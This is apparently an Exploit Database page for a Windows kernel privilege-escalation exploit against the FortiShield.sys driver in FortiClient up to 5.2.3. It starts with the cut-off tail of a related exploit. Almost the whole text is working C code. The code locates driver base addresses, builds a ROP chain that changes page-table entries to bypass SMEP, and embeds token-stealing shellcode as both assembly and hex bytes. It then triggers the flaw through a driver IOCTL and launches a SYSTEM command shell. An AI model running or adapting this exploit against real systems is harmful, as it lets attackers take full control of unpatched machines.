shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
printf("[+] Press ENTER to trigger the vulnerability again.\n");
getchar();
ResumeThread(hThread);
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
printf("\n");
system("start cmd.exe");
DeleteObject(bitmaps.manager_bitmap);
DeleteObject(bitmaps.worker_bitmap);
return 0;
}
Exploit Database EDB-ID : 41721
Date de publication : 2017-03-24 23h00 +00:00
Auteur : sickness
EDB Vérifié : Yes
/*
Check this out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on:
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment (lib,"psapi")
ULONGLONG get_pxe_address_64(ULONGLONG address) {
ULONGLONG result = address >> 9;
result = result | 0xFFFFF68000000000;
result = result & 0xFFFFF6FFFFFFFFF8;
return result;
}
LPVOID GetBaseAddr(char *drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
if (strcmp(szDrivers, drvname) == 0) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
return drivers[i];
}
}
}
}
return 0;
}
DWORD trigger_callback() {
printf("[+] Creating dummy file\n");
system("echo test > test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult;
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main() {
HANDLE forti;
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPVOID hal_base = GetBaseAddr("hal.dll");
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
printf("[+] PTE virtual address at: %llx\n", va_pte);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = hal_pivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG allocate_address = 0x0000000047FF016F;
LPVOID allocate_shellcode;
allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_shellcode == NULL) {
printf("[!] Error while allocating shellcode: %d\n", GetLastError());
return 1;
}
char *shellcode;
DWORD shellcode_size = 0x12000;
ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret
ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret
ULONGLONG rop_04 = va_pte;
ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret
ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret
ULONGLONG rop_07 = allocate_address + 0x10040;
ULONGLONG rop_08 = fortishield_callback;
ULONGLONG rop_09 = fortishield_restore;
//;kd> dt -r1 nt!_TEB
//; +0x110 SystemReserved1 : [54] Ptr64 Void
//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
//kd> u nt!PsGetCurrentProcess
//nt!PsGetCurrentProcess:
//mov rax,qword ptr gs:[188h]
//mov rax,qword ptr [rax+0B8h]
// TOKEN STEALING & RESTORE
// start:
// mov rdx, [gs:0x188]
// mov r8, [rdx+0x0b8]
// mov r9, [r8+0x2f0]
// mov rcx, [r9]
// find_system_proc:
// mov rdx, [rcx-0x8]
// cmp rdx, 4
// jz found_it
// mov rcx, [rcx]
// cmp rcx, r9
// jnz find_system_proc
// found_it:
// mov rax, [rcx+0x68]
// and al, 0x0f0
// mov [r8+0x358], rax
// restore:
// mov rbp, qword ptr [rsp+0x80]
// xor rbx, rbx
// mov [rbp], rbx
// mov rbp, qword ptr [rsp+0x88]
// mov rax, rsi
// mov rsp, rax
// sub rsp, 0x20
// jmp rbp
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
shellcode = (char *)malloc(shellcode_size);
memset(shellcode, 0x41, shellcode_size);
memcpy(shellcode + 0x10008, &rop_01, 0x08);
memcpy(shellcode + 0x10010, &rop_02, 0x08);
memcpy(shellcode + 0x10018, &rop_03, 0x08);
memcpy(shellcode + 0x10020, &rop_04, 0x08);
memcpy(shellcode + 0x10028, &rop_05, 0x08);
memcpy(shellcode + 0x10030, &rop_06, 0x08);
memcpy(shellcode + 0x10038, &rop_07, 0x08);
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
memcpy(shellcode + 0x100C0, &rop_08, 0x08);
memcpy(shellcode + 0x100C8, &rop_09, 0x08);
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
return 1;
}
HANDLE hThread;
LPDWORD hThread_id = 0;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority;
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
Products Mentioned
Configuraton 0
Fortinet>>Forticlient >> Version To (including) 5.2.3
Références